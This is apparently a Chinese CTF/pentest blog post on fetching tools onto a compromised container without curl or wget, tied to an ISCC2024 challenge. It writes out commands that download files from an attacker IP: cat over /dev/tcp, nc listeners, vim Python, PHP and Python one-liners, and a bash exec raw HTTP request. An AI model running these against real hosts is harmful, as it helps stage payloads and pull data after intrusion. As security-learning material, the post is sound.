无curl、wget下的环境来访问下载工具
记录一下无curl、wget下的环境来访问下载工具的小技巧。
最早是ISCC2024中的一道Web题《掉进阿帕奇的工资》,这道题前面就是简单的逻辑漏洞登录,登陆后存在一个异或执行命令的地方,顺利反弹shell后由于他是一个阉割版的docker,flag藏在内网中的一个服务,需要构造请求访问其路由/flag。但是问题就是容器里面没有curl、wget、nc等命令,那么该如何请求呢?
前几天大哥向我们分享了一次实战挖洞的经历,在最后反弹shell后也是遇到了类似的问题,想向shell里面传工具的时候遇到了问题,无curl和wget。
这两次的经历也是促使我把这个技巧来总结一下。
一、使用cat
cat命令是Linux中最常用的命令之一,主要用于读取文件并将其内容显示到标准输出。使用cat下载文件的操作如下:
攻击端:开放发送端口
1 | cat flag.txt | nc -lvp 7777 或 |
只要开一个文件的传输文件的端口就行
受害者链接:
1 | cat < /dev/tcp/192.168.20.129/7777 >flag.txt |
这样即可建立tcp连接读取并保存文件
注:/dev/tcp是bash提供的,使用前要看看shell
二、使用nc
方式一:先启动接收命令
先在受害主机(192.168.20.141)上启动一个接收文件的监听:
1 | nc -l 3232>flag.txt |
而后在攻击机上往受害主机的3232端口发送数据,把恶意文件发送过去:
1 | nc 192.168.20.129 3232< flag.txt |
方式二:先启动发送命令
先在攻击机(192.168.20.129)上启动发送文件命令:
1 | nc -l 6666 < flag.txt |
而后受害主机连接攻击机,接收恶意文件:
1 | nc 192.168.20.129 6666 > flag.txt |
三、使用vim
vim是从 vi 发展出来的一个文本编辑器,功能齐全且使用简单,受到广大用户的喜爱。在受害主机执行以下命令实现vim远程下载:
1 | vim -c ‘:py import vim,sys; |
四、使用各种编程语言下载
例如上述的iscc的这道题,可以使用php -r来执行php代码来获取flag
PHP payload:
1 | php -r ‘$c=file_get_contents(“http://192.168.20.129/flag.txt”);file_put_contents(“flag.txt”, $c);’ |
Python payload:
1 | python -c “import urllib2;open(‘evil_file.sh’,’wb’).write(urllib2.urlopen(‘http://192.168.20.129/flag.txt’).read())”。 |
五、其他方法
对于上面的iscc这道题,当时看wp还有一种nb的方法,用的是bash中的exec命令:
1 | exec 4<> /dev/tcp/secret.host/80 && echo -e 'GET /flag HTTP/1.0\n' 1>& 4 && cat 0<& 4 |
先打开一个到 secret.host
80 端口的 TCP 连接,并将其关联到文件描述符 4,再将标准输出重定向到文件描述符 4。这样,GET 请求将被发送到已经打开的 TCP 连接,之后再cat读取文件描述符4即可得到flag.
这方法确实挺惊艳的,看来得再好好学习一下linux中的文件描述符及相关知识了